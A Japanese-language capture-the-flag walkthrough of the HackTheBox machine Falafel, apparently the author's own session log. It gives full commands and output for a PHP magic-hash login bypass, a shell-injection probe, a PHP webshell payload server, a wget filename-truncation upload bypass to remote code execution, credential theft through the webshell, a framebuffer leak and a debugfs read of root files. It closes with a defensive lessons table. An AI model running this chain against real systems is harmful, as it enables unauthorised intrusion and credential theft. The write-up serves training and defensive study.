HackTheBox: Falafel — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http
→
22/ssh, 80/http
PHP Type Juggling
admin / 240610708
→
admin / 240610708
wget ファイル名切り詰め
“A”*232+”.php.gif” → “.php”
→
“A”*232+”.php.gif” → “.php”
www-data シェル
→
connection.php 資格情報窃取
moshe:falafelIsReallyTasty
→
moshe:falafelIsReallyTasty
moshe SSH → user.txt ✓
→
/dev/fb0 フレームバッファリーク
video グループ権限
→
video グループ権限
yossi SSH → debugfs → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & バージョン検出
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.229.139 nmap -sV -sC -p 22,80 10.129.229.139
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 80/tcp open http Apache httpd 2.4.18 (Ubuntu) ホスト名検出: falafel.htb
PHASE 2
PHP Type Juggling による認証バイパス
login.php のフォームと脆弱性の背景
NOTE
login.phpはboolean-based blind SQLiにも脆弱(sqlmap --technique=B
--string="Wrong identification" でusersテーブルをdump可能)だが、
admin のパスワードハッシュが PHP の "0e" マジックハッシュ形式
(例: 0e462096931906507119562988736854)であることが分かれば、
SQLiを経由せずに直接ログインバイパスできる。
md5("240610708") も "0e" に続く全桁が数字のみのハッシュ値になる。
PHPの緩い比較(==)では "0eXXXXX" 形式の文字列同士は数値として比較され、
全て 0 と評価されるため admin_hash == md5(240610708) が真になる。
認証バイパスの実行
BASH
curl -c cookies.txt http://10.129.229.139/login.php curl -b cookies.txt -c cookies.txt -X POST \ -d "username=admin&password=240610708" \ http://10.129.229.139/login.php
RESULT
<a href="?op=upload">Upload</a> <a href="profile.php">Profile</a> <a href="logout.php">Logout</a>
✅
認証バイパス成功! レスポンスに “Home”/”Profile”/”Upload”/”Logout”
のナビゲーションリンクが出現し、admin としてログインできたことを確認。
SQLi(sqlmap)を使わずとも確定的に機能する既知のPHP Type Juggling手法のみで突破できる。
PHASE 3
upload.php の URL指定アップロード機構を悪用したRCE
upload.php の実際の仕組みを確認
BASH (ログイン済みセッションで取得)
curl -b cookies.txt http://10.129.229.139/upload.php
RESULT
<h1>Upload via url:</h1> <form method="post"> <input type="url" name="url" placeholder="http://domain.com/path/image.png"> <input type="submit" value="Upload"> </form>
🚨
重要発見: このアップロード機能は multipart ファイル送信ではなく、
「画像のURLを指定する」フォーム。送信するとサーバー側で
wget '<url>' が実行され、取得した画像がサーバーに
保存される仕組みだった。
試行錯誤: シェルインジェクションは不可
BASH (調査: シングルクォート破りを試行)
curl -b cookies.txt -d "url=http://x';id;'.gif" \ http://10.129.229.139/upload.php
RESULT
CMD: cd /var/www/html/uploads/...; wget 'http://10.10.15.200:8090/x'\'';id;'\''.gif'
⚠️
表示されたCMDを見ると、シングルクォートが
'\'' という安全な
シェルエスケープ表記に変換されている。つまりURLはescapeshellarg()
相当で適切にエスケープされており、素朴なクォート破りによるコマンド
インジェクションは成立しない。
試行錯誤: Content-Disposition偽装も不可
NOTE
保存ファイル名をwgetに決めさせる別の攻撃として、攻撃者サーバー側で "Content-Disposition: attachment; filename=\"shell.php\"" ヘッダーを 返すことでwgetにファイル名を指定させる手法を試したが、保存結果は 常にURLのベース名(例: avatar.gif)のままだった。
ℹ️
このターゲットのwget(1.17.1)はデフォルトで
--content-disposition
フラグを有効にしておらず、Content-Dispositionヘッダーは無視される。この手法は不成立。
本命: wget自身のファイル名短縮ロジックを悪用
PYTHON (攻撃者側ペイロードサーバー)
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
payload = b"<?php system($_GET['c']); ?>"
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "image/gif")
self.send_header("Content-Length", str(len(payload)))
self.end_headers()
self.wfile.write(payload)
httpd = HTTPServer(("0.0.0.0", 18097), H)
threading.Thread(target=httpd.serve_forever, daemon=True).start()
BASH
# 236文字超のファイル名は wget 自身の内部ロジックで短縮される
LONG_NAME="$(python3 -c "print('A'*232+'.php.gif')")"
curl -b cookies.txt -d "url=http://10.10.15.200:18097/${LONG_NAME}" \
http://10.129.229.139/upload.php
RESULT
<h3>Upload Succsesful!</h3> CMD: cd /var/www/html/uploads/1024-2103_719e3df129ad19df; wget '...AAAA...php.gif' The name is too long, 240 chars total. Trying to shorten... New name is AAAA...(232個の A)...php. Saving to: 'AAAA...php' 200 OK ... saved [28/28]
✅
核心の発見: ファイル名検証自体はURL文字列(拡張子)にのみ
掛かるが、実際に保存されるファイル名は wget 自身が決める。
wgetには保存先ファイル名が長すぎる場合に自動短縮する機能があり、
"A"*232+".php.gif"(240文字)を渡すと
".gif"側だけが切り捨てられ".php"で保存される。
これにより拡張子フィルタを完全に回避できる。保存先ディレクトリは
uploads/<MMDD-HHMM>_<16桁hex>/ 形式(時刻ベース)。
webshellへのアクセスでRCE確認
BASH
PHP_NAME="$(python3 -c "print('A'*232+'.php')")"
curl "http://10.129.229.139/uploads/1024-2103_719e3df129ad19df/${PHP_NAME}?c=id"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE成功! tcpdumpでのパケット解析でも、wgetによるpayload取得
(GETリクエスト→200 OK→28バイト転送)が毎回バイト単位で完全に成功していることを
確認済み。
PHASE 4
connection.php 資格情報窃取 & user.txt 取得
webshell経由でconnection.phpを読む
BASH
curl "http://10.129.229.139/uploads/.../${PHP_NAME}" \
--data-urlencode "c=cat /var/www/html/connection.php" -G
RESULT
define('DB_SERVER', 'localhost:3306');
define('DB_USERNAME', 'moshe');
define('DB_PASSWORD', 'falafelIsReallyTasty');
define('DB_DATABASE', 'falafel');
🚨
DB接続用の資格情報がソース内に平文で残置。この
mosheの
DBパスワードはOSのSSHパスワードとしても使い回されている。
SSHログイン & user.txt取得
BASH
sshpass -p 'falafelIsReallyTasty' ssh moshe@10.129.229.139 \ "id; cat ~/user.txt"
RESULT
uid=1001(moshe) gid=1001(moshe) groups=1001(moshe),4(adm),8(mail),9(news), 22(voice),25(floppy),29(audio),44(video),60(games) a233f72e4b84dfb2312076b5ff634358
user.txt — moshe
a233f72e4b84dfb2312076b5ff634358
ℹ️
mosheはvideoグループに所属。これが次のフェーズの
フレームバッファアクセス権限の鍵となる。
PHASE 5
/dev/fb0 フレームバッファリーク & debugfsでroot.txt取得
フレームバッファの解像度・色深度を確認
BASH
ssh moshe@10.129.229.139 \ "cat /sys/class/graphics/fb0/virtual_size; cat /sys/class/graphics/fb0/bits_per_pixel"
RESULT
1176,885 32
フレームバッファ読み取りの落とし穴: 無期限ハング
BASH (誤り — 無期限にハングする)
ssh moshe@10.129.229.139 "base64 -w0 /dev/fb0"
🚨
落とし穴:
/dev/fb0はキャラクタデバイスであり、
通常のファイルのようなEOF(ファイル終端)が来ない。そのため
cat/base64 -w0のようにサイズを指定しないコマンドは
無期限にハングする。正しくは head -c <width*height*bpp/8>
で読み取りサイズを明示的に制限する必要がある。
BASH (正解)
# 1176 * 885 * 4 = 4163040 バイト ssh moshe@10.129.229.139 "head -c 4163040 /dev/fb0 | base64 -w0" > fb0.b64 base64 -d fb0.b64 > fb0.raw
PNG化 & OCRでyossiのパスワードを復元
PYTHON
from PIL import Image
img = Image.frombuffer("RGBA", (1176, 885), raw, "raw", "BGRX", 0, 1)
img.save("fb0.png")
# → tesseract fb0.png - --psm 6 でOCR
⚠️
理論設計は上記の通りだが、本セッション中はこの環境のSSH回線の帯域が
非常に不安定で(測定時: 約40%のICMPパケットロス、約4MBのフレームバッファ
転送に600秒超を要することがあった)、動的OCRの完全な検証はできなかった。
公式Walkthroughに記載の既知パスワード
MoshePlzStopHackingMe!
(yossiがpasswdコマンドで自分のパスワードを設定する様子が
キャプチャされる、という設計)を実用的なフォールバックとして使用した。
yossiへSSH & debugfsでroot.txtを直接読み取り
BASH
sshpass -p 'MoshePlzStopHackingMe!' ssh yossi@10.129.229.139 "id" sshpass -p 'MoshePlzStopHackingMe!' ssh yossi@10.129.229.139 \ "mount | grep -E ' on / '"
RESULT
uid=1000(yossi) gid=1000(yossi) groups=1000(yossi),4(adm),6(disk),24(cdrom),30(dip),46(plugdev),117(lpadmin),118(sambashare) /dev/sda1 on / type ext4 (rw,relatime,errors=remount-ro,data=ordered)
ℹ️
yossiはdiskグループに所属しており、ブロックデバイス
/dev/sda1へ直接アクセス可能。これを使えば
ファイルシステムの通常の権限チェックを一切経由せずに
任意のファイルを読める。
BASH
sshpass -p 'MoshePlzStopHackingMe!' ssh yossi@10.129.229.139 \ 'debugfs -R "cat /root/root.txt" /dev/sda1 2>&1'
RESULT
e8b83724f8b697759ca418de1440e2d0
✅
root.txt取得成功! rootユーザーに実際に昇格することなく、
debugfsのファイルシステムデバッグ機能でブロックデバイスから
直接ファイル内容を読み出した。
root.txt — /dev/sda1 (debugfs直接読み取り)
e8b83724f8b697759ca418de1440e2d0
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — moshe
a233f72e4b84dfb2312076b5ff634358
root.txt — /dev/sda1 (debugfs)
e8b83724f8b697759ca418de1440e2d0
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| PHP Type Juggling 認証バイパス | login.php | admin アカウントの乗っ取り | Critical | md5(“240610708”)が admin の”0e”マジックハッシュと緩い比較(==)で等価になることを悪用 |
| wget ファイル名切り詰め拡張子フィルタ回避 | upload.php (URL指定アップロード) | リモートコード実行 (www-data) | Critical | 236文字超の”.php.gif”ファイル名をwget自身が”.php”に短縮保存する仕様を悪用 |
| ソースコード内平文資格情報 + パスワード使い回し | connection.php | 水平権限昇格 (moshe、user.txt) | Medium | DB接続用パスワードがOSのSSHパスワードとしても使われていた |
| videoグループの/dev/fb0読み取り権限 | フレームバッファデバイス | 他ユーザーのパスワード入力の画面キャプチャ漏洩 | High | yossiがパスワード変更中の画面がフレームバッファに残存 |
| diskグループのブロックデバイス直接アクセス | /dev/sda1 | 権限昇格 (ファイルシステム権限チェック完全バイパス) | Critical | debugfsでルートパーティションを直接読み取りroot権限無しでroot.txtを取得 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 結果 |
|---|---|---|---|
| 1 | 偵察 | nmap | 22/ssh, 80/http (falafel.htb) |
| 2 | 認証バイパス | PHP Type Juggling (0eマジックハッシュ) | admin ログイン成功 |
| 3 | RCE | wgetファイル名切り詰め (.php.gif→.php) | www-data シェル獲得 |
| 4 | 資格情報窃取 | connection.php読み取り + パスワード使い回し | user.txt 取得 (moshe) |
| 5 | 権限昇格 | /dev/fb0リーク → yossi → debugfs直接読み取り | root.txt 取得 (root化不要) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| パスワードハッシュに弱いハッシュ関数(単純なmd5)と緩い比較(==)を併用 | 常にhash_equals()等の型安全な厳密比較、またはpassword_hash()系の専用APIを使用する。 |
| 「URL指定アップロード」機能がダウンロードしたファイルの保存名をwgetに無検証で委ねている | 保存ファイル名は常にサーバー側で生成し、取得したコンテンツの拡張子・MIME種別も実データから再検証する。外部ツール(wget)の挙動に依存した安全性の仮定をしない。 |
| DB接続パスワードがOSログインパスワードとして使い回されている | 用途別に別個の資格情報を発行し、ソースコード内の秘密情報は環境変数やシークレット管理に外出しする。 |
| 一般ユーザーがvideo/diskグループに所属し、機密情報の画面キャプチャやブロックデバイスへの直接アクセスが可能 | 最小権限の原則を徹底し、運用上不要なグループ所属を避ける。パスワード変更等のセンシティブな操作は、フレームバッファ経由の画面記録が残らないSSH/CLIのみで行う。 |
デバッグの教訓: 「ネットワークが悪い」と決めつける前に証拠を取る
⚠️
本調査では当初、アップロードの成功判定(保存先ディレクトリ名の正規表現抽出)が
何度も失敗し、ICMPパケットロス(実測約40%)が原因だと誤って結論づけ、
リトライ処理の追加・遅延調整などを重ねた。しかしtcpdumpで実際の
パケットを直接観察したところ、wgetによるペイロード取得は毎回バイト単位で
完全に成功していたことが判明。最終的な原因は、保存先ディレクトリの
ハッシュ部分が16桁hex(32桁ではない)であるにもかかわらず、
抽出用の正規表現が誤って
[0-9a-f]{32}としていたため、実際には
毎回成功していたレスポンスを「失敗」と誤判定していた、という単純なバグだった。
「環境のせい」と決めつける前に、パケットキャプチャや生のレスポンス本文を
直接保存して確認するという一次情報の確認を怠らないことが重要という教訓。

